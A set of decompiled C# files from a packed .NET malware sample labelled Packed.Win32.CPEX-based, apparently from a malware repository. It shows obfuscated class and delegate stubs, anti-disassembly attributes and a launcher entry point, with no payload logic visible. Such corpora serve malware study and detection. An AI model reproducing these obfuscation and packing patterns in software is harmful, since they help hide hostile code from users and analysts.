+  private delegate IntPtr \u003E([In] IntPtr obj0, [In] IntPtr obj1, [In] uint obj2, [In] uint obj3, [In] uint obj4);
+
+  [SuppressIldasm]
+  private delegate bool \u003C(
+    [In] string obj0,
+    [In] string obj1,
+    [In] IntPtr obj2,
+    [In] IntPtr obj3,
+    [In] bool obj4,
+    [In] uint obj5,
+    [In] IntPtr obj6,
+    [In] string obj7,
+    [In] byte[] obj8,
+    [In] int[] obj9);
+
+  [SuppressIldasm]
+  private delegate uint \u002F([In] IntPtr obj0, [In] IntPtr obj1);
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/_0026.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: &
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[SuppressIldasm]
+internal static class \u0026
+{
+  public static \u007C \u0040;
+
+  [STAThread]
+  private static void \u0040([In] string[] obj0)
+  {
+    if (false)
+      ;
+    \u0026.\u0040 = (\u007C) new \u0031();
+    \u0026.\u0040.\u0040((object[]) obj0);
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/_003CModule_003E.cs

@@ -0,0 +1,12 @@
+// Decompiled with JetBrains decompiler
+// Type: <Module>
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.Runtime.CompilerServices;
+
+[SuppressIldasm]
+internal class \u003CModule\u003E
+{
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/_007C.cs

@@ -0,0 +1,26 @@
+// Decompiled with JetBrains decompiler
+// Type: |
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using System.Runtime.CompilerServices;
+
+[SuppressIldasm]
+internal class \u007C
+{
+  public \u007C()
+  {
+    if (false)
+      ;
+    // ISSUE: explicit constructor call
+    base.\u002Ector();
+  }
+
+  public virtual object \u0040(params object[] _param1)
+  {
+    if (false)
+      ;
+    return (object) null;
+  }
+}

MSIL/Packed/Win32/C/Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5/n(EWZ_0009/7_0017[_000C/7.cs

@@ -0,0 +1,23 @@
+// Decompiled with JetBrains decompiler
+// Type: n(EWZ	..7[.7
+// Assembly: syncui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 8C369EE2-0F8E-40F6-BD9C-ED440A7013AE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.Win32.CPEX-based.ht-72f8bd90449e3c4875b681f4afb213e7bd866e6a0e1c08546770c7c21f92eed5.exe
+
+using n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C;
+using System.CodeDom.Compiler;
+using System.Configuration;
+using System.Runtime.CompilerServices;
+
+namespace n\u0028EWZ\u0009..\u0037\u0017\u005B\u000C
+{
+  [SuppressIldasm]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class \u0037 : ApplicationSettingsBase
+  {
+    private static \u0037 \u0004\u001E\u0020 = (\u0037) SettingsBase.Synchronized((SettingsBase) new \u0037());
+
+    public static \u0037 \u005C9\u0024 => \u0037.\u0004\u001E\u0020;
+  }
+}